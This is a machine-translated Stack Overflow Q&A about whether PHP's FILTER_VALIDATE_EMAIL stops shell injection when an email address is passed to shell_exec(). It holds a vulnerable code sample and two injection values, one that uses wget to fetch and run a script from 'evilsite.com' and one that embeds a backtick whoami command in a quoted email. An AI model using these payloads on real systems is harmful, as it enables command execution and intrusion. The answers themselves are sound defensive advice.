2015-06-12 2 views
1

Итак, я планирую использовать shell_exec() для обработки сценария php, который отправляет электронное письмо.Является ли FILTER_VALIDATE_EMAIL достаточным для остановки инъекции оболочки?

Все это прекрасно работает, но я был слегка обеспокоен последствиями безопасности только для использования FILTER_VALIDATE_EMAIL, чтобы обеспечить невозбуждение впрыска.

Так, например, я буду использовать что-то simlilar к этому:

$email=$_POST['email']; 
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) { 
    echo 'Nope ...'; 
} else { 
    shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &); 
} 

Таким образом, очевидно, без проверки, я мог бы представить свою электронную почту, как что-то вроде:

'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; ' 

и все ад мог сломаться ...

Является ли это доказательством 100% впрыска (что мы знаем) или есть что-то еще, что я должен добавить?

ответ

1

Является ли это доказательством 100% -ного впрыска (что мы знаем) или есть что-то еще, что я должен добавить?

Тот же вопрос был задан вопрос о базах данных здесь: Does FILTER_VALIDATE_EMAIL make a string safe for insertion in database?

Если filter_var($var, FILTER_VALIDATE_EMAIL) не является безопасным для баз данных, это, вероятно, не достаточно безопасным для командной строки.

Если вам нужно было избежать строки для использования в оболочке, используйте escapeshellarg() или escapeshellcmd(), как в ответах на Filter var for calling a shellscript with system on php. Обязательно прочтите документы API для тех, кто находится на PHP-сайте.

Но сначала вы должны do some research on OWASP узнать о лучших практиках безопасности приложений.

Эквивалентные и любые другие контрмеры неэффективны, существует множество векторов для обхода каждого из них; не верьте тому, что вам рассказывают начинающие разработчики.

Вы можете избежать этой проблемы в целом, написав письмо на временный файл, а затем поручив ваше sendemail приложение для чтения из файла (если это возможно).

Или, если это доступно с вашего хостинга конфигурации, вы можете использовать mail() метод PHP - см How to send an email using PHP?

Продолжайте быть безопасность возражала, хотя. PHP's mail(): What are potential issues to watch out for?

+0

Благодарю вас. Я думаю, что функция 'escapeshellarg()' лучше всего подходит для моих нужд. И спасибо за ссылку OWASP, хороший бит ночного чтения: D ... Кроме того, я не использую 'mail()', потому что я использую несколько удаленных почтовых серверов, поэтому мне легче просто открыть сокет tls к соответствующему серверу и отправить «до моего сердца». –

+1

Рад, что это помогло! Передача любого пользовательского контента с помощью команд оболочки опасна. Я бы действительно предложил обойти проблему безопасности, написав содержимое электронной почты в файл и передав имя файла вашему скрипту. –

2

Реализация FILTER_VALIDATE_EMAIL основана на Michael Rushton’s Email Address Validation, которая проверяет входные данные с использованием RFC 5321, i. например, Mailbox production rule.

Эти адреса электронной почты более обширны, чем те, которые используются на практике. Например, RFC 5321 разрешает цитируемые строки в Локальная часть, например "…"@example.com.

Это позволяет вводить произвольные команды, например:

"'`whoami`'"@example.com 

Это в конечном итоге в вашей команде оболочки, как:

/usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null & 

Полученное значение sendmail параметр будет результатом whoami цитируемый , как "markus"@example.com.

Вы видите, что FILTER_VALIDATE_EMAIL просто не подходит для проверки аргументов оболочки, поскольку это не должно было быть.

Используйте функции, предназначенные для экранирования аргументов оболочки вместо escapeshellarg для экранирования отдельных аргументов или escapeshellcmd для произвольных аргументов.

Как правило, вам следует избегать команд оболочки, если вы можете добиться того же со встроенными функциями PHP, потому что даже escapeshellarg is not free of bugs.

Смежные вопросы